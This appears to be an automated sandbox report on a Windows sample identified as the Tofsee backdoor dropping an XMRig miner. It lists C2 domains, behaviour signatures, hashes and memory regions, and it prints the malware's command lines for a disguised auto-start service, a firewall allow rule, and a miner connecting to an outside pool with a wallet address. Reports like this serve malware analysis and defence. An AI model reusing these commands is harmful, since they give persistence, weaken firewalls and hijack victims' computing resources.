Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    14/01/2024, 15:18

General

  • Target
    SecuriteInfo.com.Win32.BotX-gen.31335.5127.exe
  • Size 203KB
  • Sample240114-splkzacfc2
  • SHA256 3555ecd8bb270312994e03bf64695a3f1c0213a2abf85b890ebe2bb40a9648a3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • vanaheim.cn

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.5127.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.5127.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gofoakkv\
      2⤵
        PID:2068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pffcoaqo.exe" C:\Windows\SysWOW64\gofoakkv\
        2⤵
          PID:2728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gofoakkv binPath= "C:\Windows\SysWOW64\gofoakkv\pffcoaqo.exe /d\"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.5127.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2864
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gofoakkv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gofoakkv
          2⤵
          • Launches sc.exe
          PID:2248
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2604
      • C:\Windows\SysWOW64\gofoakkv\pffcoaqo.exe
        C:\Windows\SysWOW64\gofoakkv\pffcoaqo.exe /d"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.BotX-gen.31335.5127.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2208
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2576
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:584

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            pffcoaqo.exe

            • Path C:\Users\Admin\AppData\Local\Temp\pffcoaqo.exe
            • Size 12.0MB
            • SHA256 22863bf4cfd3c8cdb3cefb9f14c8dcc7b60e2509f7ee02a8cdb62fdb7cf4d82c
            • MD5 SHA1 SHA512 SSDEEP

            memory/584-75-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-71-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-72-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-73-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-76-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-77-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-74-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-62-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/584-63-0x0000000000160000-0x0000000000251000-memory.dmp

            memory/2208-11-0x0000000000400000-0x0000000000438000-memory.dmp

            memory/2208-10-0x0000000000270000-0x0000000000370000-memory.dmp

            memory/2208-16-0x0000000000400000-0x0000000000438000-memory.dmp

            memory/2576-43-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-49-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-30-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-33-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-34-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-35-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-36-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-37-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-38-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-39-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-40-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-41-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-42-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-26-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/2576-45-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-44-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-46-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-47-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-48-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/2576-27-0x0000000000150000-0x0000000000156000-memory.dmp

            memory/2576-50-0x0000000000230000-0x0000000000235000-memory.dmp

            memory/2576-53-0x0000000000230000-0x0000000000235000-memory.dmp

            memory/2576-54-0x00000000055B0000-0x00000000059BB000-memory.dmp

            memory/2576-57-0x00000000055B0000-0x00000000059BB000-memory.dmp

            memory/2576-58-0x0000000000240000-0x0000000000247000-memory.dmp

            memory/2576-23-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/2576-21-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/2576-18-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/2576-19-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/2576-20-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/2576-15-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/2576-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/2576-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            memory/2576-12-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/2892-1-0x00000000004C0000-0x00000000005C0000-memory.dmp

            memory/2892-2-0x00000000002B0000-0x00000000002C3000-memory.dmp

            memory/2892-3-0x0000000000400000-0x0000000000438000-memory.dmp

            memory/2892-7-0x0000000000400000-0x0000000000438000-memory.dmp

            memory/2892-8-0x00000000002B0000-0x00000000002C3000-memory.dmp